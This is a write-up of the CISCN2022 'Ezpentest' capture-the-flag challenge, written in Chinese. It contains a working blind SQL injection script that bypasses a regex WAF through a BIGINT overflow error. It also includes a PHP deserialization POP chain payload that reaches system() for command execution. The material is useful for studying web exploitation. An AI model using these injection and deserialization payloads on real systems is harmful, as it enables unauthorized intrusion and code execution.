CISCN2022 Ezpentest Writeup

Ezpentest WriteUp

SQL注入的WAF如下

1
2
3
4
5
6
7
8
<?php
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}

?>

可知这里考的SQL注入是改编了HFCTF中的babysql的

这里可以使用like来替代regexp,原本使用~0+1+''的方式被ban了,但是可以利用整型数据溢出的方式进行报错,使用9223372036854775807+1,可以参考这篇文章:https://www.tr0y.wang/2018/06/18/MySQL%E7%9A%84BIGINT%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/,效果如下图所示

image-20220530173746866

image-20220530173816723

正确的话,状态码为500;错误的话,状态码为200,最后脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

burp0_url = "http://1.14.71.254:28101/login.php"
burp0_cookies = {"PHPSESSID": "2kkgp0036snjurd71desk4mr90", "__jsluid_h": "dd80fe7c3cfe65e11fe52da5fcfc1991"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://eci-2zebelhabwvwjvw18er6.cloudeci1.ichunqiu.com", "Connection": "close", "Referer": "http://eci-2zebelhabwvwjvw18er6.cloudeci1.ichunqiu.com/", "Upgrade-Insecure-Requests": "1"}

flag = ''
black_list = ",()#;*~\-'"

while True:
for j in range(33, 128):
if chr(j) in black_list:
continue

if j == 95 or j == 37:
y = '\\' + chr(j)
else:
y = chr(j)
burp0_data = {
"username": "xxx'||case'1'when`username`like'{}%'COLLATE`utf8mb4_0900_bin`then+9223372036854775807+1+''else'1'end||'xxx".format(
flag + y),
"password": "aaa"}
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
print chr(j) + " : " + str(res.status_code)
if res.status_code == 500:
if j == 95 or j == 37:
flag += '\\' + chr(j)
else:
flag += chr(j)
print flag
break
if j == 127:
print flag.replace("\\", '')
exit(0)

最后获得username和password

1
2
# username: awk785969awlfjnlkjlii!@$%!!
# password: PAssw40d_Y0u3_Never_Konwn!@!!

接下里均为本地操作,没有环境了

登录进去后,有一个混淆的文件以及SomeClass.php的文件

SomeClass.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}

?>

混淆文件用了大量的不可见字符,类似SUSCTF中的rubbish maker,直接保存可能存在解码不了,使用如下脚本进行保存

1
2
3
4
5
6
7
8
9
10
11
<?php
$url ="http://url/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_COOKIE, "session=xxxxxx");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("pop.php",$result);
?>

在文件中也看到了使用的是PHPJiaMi混淆,可以使用工具进行解混淆:https://github.com/PikuYoake/phpjiami_decode

image-20220530181529550

解码后的文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
session_start();
if(!isset($_SESSION['login'])){
die();
}
function Al($classname){
include $classname.".php";
}

if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
$o = unserialize($c);
if($o === false) {
die("Error Format");
}else{
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
echo file_get_contents("SomeClass.php");
}

这里利用spl_autoload_register()函数自动加载类,加载的是类名文件,所以需要自己构造一个SomeClass类,让其include SomeClass.php

后面有一个过滤Some的正则,但是我们可以在前面进行强制GC,导致其销毁从而进入到__destruct()

POP链的构造也是比较简单的,如下所示

1
2
3
4
5
E::__destruct()
↓↓↓
B::__toString()
↓↓↓
A::see()

不过A::see()中有个判断,其中成员变量$b的类不能来自SomeClass.php以及后面会调用其a和b的成员变量,最后这里我卡了很久

ROIS战队的师傅给的ArrayObject类可以很好的解决,然后西工大的师傅给出了Error类也可以解决这个问题。最后发现只要是php中的可序列化的原生类都行!!!对自己无语了

最后Payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "SomeClass.php";

class SomeClass{
public $a;
}

$e = new E();
$a = new A();
$b = new B();

$e->a = $b;
$b->a = $a;
$arr = new ArrayObject();
$arr->a = "system";
$arr->b = "php -v";
$a->b = $arr;
$c = new SomeClass();
$c->a = $e;
echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));

image-20220530191740903